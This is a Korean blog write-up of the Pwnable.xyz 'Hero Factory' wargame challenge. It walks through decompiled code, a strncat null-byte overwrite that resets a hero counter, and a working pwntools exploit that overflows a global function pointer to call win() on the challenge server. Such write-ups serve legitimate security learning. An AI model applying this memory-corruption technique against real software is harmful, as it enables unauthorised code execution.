tmxklab
[Pwnable.xyz] Hero Factory 본문
1. 문제
nc svc.pwnable.xyz 30032
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setup(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
printMenu();
v3 = getInt();
if ( v3 != 2 )
break;
usePower();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
deleteHero();
}
else
{
if ( v3 == 4 )
{
puts("goodbye!");
exit(1);
}
LABEL_14:
puts("not a valid command!\n");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
createHero();
}
}
}
- 메뉴 1 : createHero() / 메뉴 2 : userPower() / 메뉴 3 : deleteHero()
3-2) createHero()
unsigned __int64 createHero()
{
char *v0; // rax
int v1; // eax
int size; // [rsp+4h] [rbp-7Ch]
char buf; // [rsp+10h] [rbp-70h]
int v5; // [rsp+70h] [rbp-10h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(&buf, 0, 0x60uLL);
v5 = 0;
if ( count )
{
puts("Br0, you already have a hero...");
return __readfsqword(0x28u) ^ v6;
}
++count;
puts("How long do you want your superhero's name to be? ");
size = getInt();
if ( size < 0 || size > 100 )
{
puts("Bad size!");
return __readfsqword(0x28u) ^ v6;
}
printf("Great! Please enter your hero's name: ");
read(0, &buf, size);
v0 = strchr(heroName, 0);
strncat(v0, &buf, 0x64uLL);
printSuperPowers();
v1 = getInt();
if ( v1 == 2 )
{
technique = crossfit;
strcpy(&myHero, "crossfit");
goto LABEL_19;
}
if ( v1 <= 2 )
{
if ( v1 != 1 )
goto LABEL_17;
technique = hadouken;
strcpy(&myHero, "hadouken");
LABEL_19:
puts("Superhero successfully created!");
return __readfsqword(0x28u) ^ v6;
}
if ( v1 == 3 )
{
technique = wrestle;
strcpy(&myHero, "wrestling");
goto LABEL_19;
}
if ( v1 == 4 )
{
technique = floss;
strcpy(&myHero, "flossing");
goto LABEL_19;
}
LABEL_17:
puts("not a valid power!");
if ( count )
zeroHero();
return __readfsqword(0x28u) ^ v6;
}
- count(전역변수)에 값이 존재하면 이미 hero가 있으므로 return된다.
- count에 값이 존재하지 않으면 count를 증가시킨다.
- heron name에 대한 size(범위 : 0 ~ 100)를 입력 값으로 받는다.
- read()를 통해 buf에 size만큼 입력 값을 받음
- strchr()를 통해 heroName(전역변수)에 널 바이트를 찾아서 포인터를 반환
- strncat(v0, buf, 0x64)를 통해 v0에 buf의 값을 0x64만큼 이어붙임
- v1의 값에 따라 technique(전역 변수)에 각 함수 포인터를 저장하고 myHero(전역변수)에 각 문자열을 저장한 다음 리턴
- v1의 값이 1 ~ 4를 제외한 다른 값이고 count에 값이 존재하면 zeroHero()호출
3-3) usePower()
int usePower()
{
if ( !count )
return puts("You don't even have a hero right now....");
puts("Your hero uses his ability...");
return technique();
}
- count의 값이 0이면 puts()를 통해 문자열을 출력하고 바로 리턴
- count의 값이 1이면 puts()를 통해 문자열을 출력하고 technique()를 실행
3-4) deleteHero()
int deleteHero()
{
char v1; // [rsp+Fh] [rbp-1h]
if ( !count )
return puts("Stop wasting my time.");
printHero();
printf("\nAre you sure you want to destroy your hero? (y/n) ");
v1 = getchar();
if ( v1 != 'y' && v1 != 'Y' )
return puts("Stop wasting my time.");
zeroHero();
return puts("Hero successfully destroyed!");
}
- count의 값이 0이면 puts()를 통해 문자열을 출력하고 바로 리턴
- 첫 번째 if문이 통과하고 y를 입력하면 zeorHero()실행
3-5) zeroHero()
__int64 zeroHero()
{
memset(&myHero, 0, 0x14uLL);
memset(heroName, 0, 0x64uLL);
return --count;
}
- myHero, heroName을 memset하고 count감소
전역변수)
- myHero : 0x602200 → 스킬 이름을 저장(ex) "hadouken", "wrestling", ..)
- word_602208 : 0x602208 → ?모르겟음
- heroName : 0x602214 → hero 이름을 저장
- count : 0x602278 → hero개수를 저장
- technique : 0x602280 → 스킬 함수 포인터 저장(ex) hadouken(), wrestling())
2. 접근방법
요약)
- createHero() : 하나의 hero를 생성하여 hero 이름, 스킬 명, 스킬 함수를 전역변수에 저장한다. 여러 개의 hero 생성 불가능 → count로 제어
- usePower() : hero가 존재하면 technique(전역변수)에 저장된 스킬 함수 실행
- deleteHero() : hero가 존재하고 y를 누르면 zeroHero()실행
- zeroHero() : 전역변수에 있는 heroName, myHero를 memset을 통해 0으로 초기화하고 count를 감소시킨다.
주의 깊게 봐야할 부분은 usePower()에서 technique(전역변수)에 저장된 스킬 함수 주소를 호출하는 부분이다. 이 부분을 스킬 함수 주소 대신에 win함수로 바꾸면 될 듯하다.
technique변수 위에는 count, heroName, ..이 존재한다. createHero()에서 heroName에 최대 0x64byte 까지 입력을 받을 수 있다. 그리고 히어로를 1개 생성하고 다시 생성할 때 count값이 1로 세팅되었기 때문에 히어로를 생성하지 못한다.
만약에 1개의 히어로를 생성하고 count값이 1이 아니라 0으로 세팅되면 1개의 히어로를 더 생성할 수 있고 heroName의 문자열에 계속 이어붙여서 technique변수까지 overflow를 발생할 수 있다.
1) createHero()에서 발생하는 로직 버그
read(0, &buf, size);
v0 = strchr(heroName, 0);
strncat(v0, &buf, 0x64uLL);
- buf에 size만큼 입력 값을 받고 heroName에 buf의 값을 0x64만큼 이어붙이는 로직이다.
- strncat()는 문자열을 서로 붙이고 문자열 끝에 널 바이트를 붙이게 된다.
- 만약에 buf에 0x64만큼 입력 값을 받으면 heroName[0x64]에는 널 바이트가 들어갈 것이다. 그리고 heroName[0x64]에는 count가 존재
확인)
- 현재 createHero()를 호출하고 이름을 입력받기 직전이다.
- 그리고 heroName(0x602214)으로부터 0x64만큼 떨어진 곳에 count(0x602278)에 1로 초기화된 것을 확인할 수 있다.
- buf에 0x64만큼 입력 값을 받고 strncat()을 수행한 이후에 count에 0으로 초기화된 것을 확인할 수 있다.
공격 프로세스)
- createHero() → heroName에 0x64만큼 입력하여 count를 0으로 세팅
- createHero() → overflow를 일으켜 technique에 win()주소 세팅
- usePower() 실행
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30032)
#gdb.attach(p)
e = ELF("./challenge")
win_addr = e.symbols['win']
# 1. setting count is null
p.sendlineafter("> ", str(1))
p.sendlineafter("be? \n", str(100))
p.sendafter("name: ", "A"*0x64)
p.sendlineafter("> ", str(1))
# 2. overflow!! setting technique is win()
p.sendlineafter("> ", str(1))
p.sendlineafter("be? \n", str(16))
p.sendafter("name: ", "A"*7+p64(win_addr))
p.sendlineafter("> ", str(10))
# 3. execute win()
p.sendlineafter("> ", str(2))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] nin (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] Dirty Turtle (0) | 2020.09.09 |
[Pwnable.xyz] note v2 (0) | 2020.09.09 |
[Pwnable.xyz] executioner v2 (0) | 2020.09.09 |
[Pwnable.xyz] badayum (0) | 2020.09.09 |
Comments